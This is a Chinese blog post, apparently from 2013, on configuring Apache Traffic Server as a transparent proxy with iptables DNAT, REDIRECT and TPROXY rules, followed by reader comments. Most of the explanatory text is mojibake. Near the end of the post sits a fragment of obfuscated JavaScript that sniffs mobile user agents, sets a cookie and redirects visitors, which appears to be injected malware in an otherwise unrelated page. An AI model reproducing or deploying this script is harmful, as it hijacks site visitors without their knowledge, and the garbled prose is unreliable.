首页 > 分享 > ATS?�?a?�a�?c?�?��??�e?�a?�e��a?�e�?c?�

ATS?�?a?�a�?c?�?��??�e?�a?�e��a?�e�?c?�

2013年5月23日     浏览数:281 发表评论 阅读评论

??�cZ�a??a??c�?cs�ATSc�???�???3.3.1-dev.
a??a???�?a?�a�?c?�??�a��e�?a�zcZ�cs�???a��80c�?a??cs�?��??�e?�a?�a?�ATSc��a?�cs�c�?a??i??a�?8080a??a?�i?�

ATScs�e??c??a?�e?�a?�a??a?�c�??�?a??i?s
1a�?ATSa?Ze�?c��(Linux router)a??a??a?�a?�???a�?
2a�?ATSa?Ze�?c��a?�a?�

e�?c��a??a??c�?Linux???a�????a�?a?�i??a?�a??c?�a??a��
eth0a??LANa??,IPi?s192.168.1.1 i??LANa?�?Z?a?�??????i??a��a�???�PC?Z?a�?a��
eth1a??WANa??,IPi?s192.168.16.1

a?�a�?ATSa?Ze�?c��a?�a?�
e?�c�????a??a?�a??a�?a?�c�?e�?c?�?�?a??
1a�?a??c�?DNATe�?c?�a��a?�
iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j DNAT –to-destination 192.168.1.1:8080
a??c�?e?�c�??�?a??i??a��a?�?�??��??�a?�cs�c��cs�a?�a?�a�?c�?a??i??a?�?�?a??192.168.1.1 8080a��??�c��?�?a??cs�?��??�e?�a?�?�?c?�i??e?�a???��??�a?�a�Zeth0e?�???i??e�se?�PREROUTINGa�?FORWARDa�?POSTROUTINGa?�a??e�?i??a�Zeth1a�?aZ�c��a?Za?�e????????aS?a�?a��
cZ�a??a??PREROUTINGe�?cs�NATe??a?�a��a??e��a??TCPi??c�?a??a??80cs�?��??�a?sa?�DNATe�?a�sa?�i??a�sa?�a?�a?�??�a?�cs�8080c�?a??a��cZ�a??cs�?��??�a?�a��a�Zeth0e?�???i??a???�?e�se?�PREROUTINGa�?INPUTa�?OUTPUTa�?POSTROUTINGa��

e????�a?�c�?c��a??cs�?�?a??c�?REDIRECT
iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-ports 8080

2a�?a??c�?TPROXY
a�??�??��???e�???�a��TPROXYe?�c�??�?a??i????�cZ�a??cs�e�?c?�?�?a??a?Z?��???a?Scs�??�a?�a��a?�a��e�?c?�a��a?�i?s
iptables -t mangle -N DIVERT
iptables -t mangle -A PREROUTING -p tcp -m socket -j DIVERT
iptables -t mangle -A DIVERT -j MARK –set-mark 1
iptables -t mangle -A DIVERT -j ACCEPT
ip rule add fwmark 1 lookup 100
ip route add local 0.0.0.0/0 dev lo table 100
iptables -t mangle -A PREROUTING -p tcp –dport 80 -j TPROXY –tproxy-mark 0×1/0×1 –on-port 8080

????�?i??ATSe�?c?�a?Ye�?a?�?�?
records.conf
CONFIG proxy.config.http.server_ports STRING 8080:ipv4:tr-in

TPROXY,e?????a??a�?a??a???�?a???��??�a?�cs�??�a��a?�i??a��?��??�a?�a�sa?�a?�??�a?�c��a?�c�?a??a��??�a?�e�?e?�a??cs�??�a?�i??e?�c?�e??a��a?�a??TPROXYaZYc?�a��

a??records.confa?�e????�a?�a??tr-passa?�?��i??e????Zc�????e�?a�?non-httpcs�i??cZ�a??e???????�a?�??Zc�?a��

a??a�?ATSa?Ze�?c��a?�a?�
ATS???aS?a�??Z?a�?a?�e�?c��cs�LANa??cs�a?�??????i??IPa??192.168.1.16
??�cZ�a??a??c�?cs�a????�DNATe?�a?�c�?
iptables -t nat -A PREROUTING -i eth0 ! -s 192.168.1.16 -p tcp –dport 80 -j DNAT –to 192.168.1.16:8080
iptables -t nat -A POSTROUTING -d 192.168.1.16 -p tcp –dport 8080 -j SNAT –to 192.168.1.1
c��a?�???e��a?�a��a�ZLANe?�???cs�e?z???e�?ATS???aS?a�?cs�HTTPe?�?��e�?a�sa?�a?�ATS???aS?a�?a��c��a?????a��e?�a?�a?�ATScs�?��??�a?�cs�???IPa?�?�????e�?c��cs�IPi??a��a??a��?z?a??a?�?�????IPi??e�?a?????IP???a�???�c�?cs�IPi??ATSa��c�??Z?e�se?�LANa??cs�a?�???e?�a?�?SSa�?a?�cs�?��??�a?�a?�a?�a�???�PCi??a?�a�???�PCa?�c?�???IP???ATS???aS?a�?cs�i??a�??????�a?�e�?e?�e?�?��cs�e?�?��i??a?sa��?��??�a?�a???Z�a��
0|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

分类: 分享 标签:
  1. 2013年5月23日14:39 | #1

    自己坐个沙发。。。

  2. cyb322
    2013年5月23日16:28 | #2

    非常详细。适合我们内网缓存!!!感谢大神的文章!!!

  1. 2015年12月31日06:10 | #1